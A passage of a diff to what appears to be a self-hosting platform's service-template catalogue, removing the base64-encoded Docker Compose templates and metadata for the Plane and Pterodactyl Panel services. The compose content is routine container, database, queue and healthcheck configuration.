6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3858,38 +3837,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfR